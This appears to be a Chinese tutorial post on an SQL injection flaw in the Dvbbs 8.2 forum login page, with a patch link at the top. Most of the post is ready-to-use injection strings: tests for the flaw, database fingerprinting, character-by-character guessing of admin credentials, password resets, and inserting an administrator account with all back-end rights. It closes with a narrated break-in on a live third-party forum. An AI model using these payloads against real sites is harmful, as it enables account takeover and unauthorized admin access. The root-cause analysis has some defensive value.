dvbbs8.2漏洞补下载地址:

http://bbs.dvbbs.net/dispbbs.asp?boardid=8&Id=1519564

紧急安全补丁0530
dvbbs8.2漏洞的产生

login.asp 这个文件的97行Function Dvbbs_ChkLogin 开始有以下代码:

username=trim(Dvbbs.CheckStr(request("username")))

而passport和username是用户输入的。

Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
End Function

动网用Checkstr进行处理。

当我们输入111',request("username")是111%27

Dvbbs.CheckStr(request("passport"))以后还是111%27
If ajaxPro Then username = unescape(username)

username就变成了111'

所以,'符号并没有过滤掉,漏洞就产生了。
------------------------------------------------
打开论坛,进行检测,先注册帐号lixiaopeng

lixiaopeng' and '1'='1 密码随意输入
提示为:用户名或者密码不正确.
lixiaopeng' and '1'='2 密码随意输入
提示为:本论坛不存在该用户名.

如为上面的提示证明该论坛存在此漏洞

判断数据库类型:
lixiaopeng' and (select count(*) from sysobjects)>0 and '1'='1
登陆正确则证明为SQL库

lixiaopeng' and (select count(*) from msysobjects)>0 and '1'='1
登陆正确则证明为ACCESS库

lixiaopeng' and (select count(*) from dv_admin where left(username,1)='a')=1 and '1'='1

lixiaopeng' and (select count(*) from dv_admin where left(password,1)='a')=1 and '1'='1

lixiaopeng';update dv_user set password='bb6d61910d61c9e8' where username='lixiaopeng'--

lixiaopeng';update dv_user set usergroupid=1 where username='lixiaopeng'--

lixiaopeng';insert into dv_user (username,userpassword,usergroupid) values('lixiaopeng','bb6d61910d61c9e8','1')--

lixiaopeng';insert into dv_admin (username,password,flag,adduser) values('lixiaopeng','bb6d61910d61c9e8','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23
,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','lixiaopeng')--

为了省时间我就直接先找了个论坛测试,大家看操作就好,我们来到登陆页面,这句话的意思就是在这个论坛里加入一个管理拥护, 我拥护名为lixiaopeng 密码为lixiaopeng 密码是加密的, 我们来看看 下面的密码随便输入 ,这个意思就是代表成功了,我们来登陆看看,看见了吧, 呵呵,我们在来进后台不成功, 为什么呢, 应为刚刚我加入的是论坛管理, 没有提到后台管理,下面我们在来用代码,提到后台管理权限,我们来看代码意思就是把他的权限全部提升到45 ,我们来试试,好了,我们在登陆看,我们进来了,呵呵,。 好了就这样...........

您可能对以下文章有兴趣↓